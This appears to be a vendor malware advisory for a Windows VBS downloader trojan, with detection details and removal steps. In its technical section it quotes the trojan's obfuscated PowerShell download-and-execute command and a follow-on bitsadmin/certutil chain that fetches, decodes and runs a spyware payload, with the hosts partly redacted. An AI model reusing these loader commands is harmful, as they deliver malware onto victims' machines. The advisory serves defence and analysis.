Analysis by: Kiyoshi Obuchi
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 1,017 bytes
File Type: VBS
Initial Samples Received Date: 18 Jul 2018
Payload: Connects to URLs/IPs, Downloads files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Other Details

This Trojan does the following:

  • Only does the intended routine if the time zone of the infected machine is in UTC+9
  • Executes the following command to download and execute the malicious file:
    • PowerSheLl -windowstyle hidden -noexit -executionpolicy bypass -command I`EX ((neW`-Obj`EcT (('Net'+'.'+'Webc'+'lient'))).(('Downloadst'+'ri'+'ng')).InVokE((('http:'+'//{BLOCKED}'+'{BLOCKED}'+'{BLOCKED}'+'{BLOCKED}l.com/les'+'s.'+'da'+'t'))))
  • It connects to the following URL to execute a malicious script:
    • http://{BLOCKED}l.com/less.dat
  • As of (07-19-2018)The malicious script contains the following commands:
    • start-process -wiNdowStylE HiDden cmd.exe /c bitsadmin /transfer notepadework /download /priority normal http://{BLOCKED}l.com/fdds.bin %User Temp%\certInfo.txt & Copy /Z %User Temp%certInfo.txt %User Temp%\certInf.txt & certutil -decode %User Temp%\certInf.txt %User Profile%\Documents\paint.exe & powershell -command "start-process %User Profile%\Documents\paint.exe" -> this will download and run a file detected as TSPY_URSNIF.TIBAICV
  • NOTE: The downloaded script may change at any time.

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 14.384.05
FIRST VSAPI PATTERN DATE: 17 Jul 2018
VSAPI OPR PATTERN File: 14.385.00
VSAPI OPR PATTERN Date: 18 Jul 2018

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Identify and terminate files detected as VBS_POWLOAD.TIAOEHD

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 4

Scan your computer with your Trend Micro product to delete files detected as VBS_POWLOAD.TIAOEHD. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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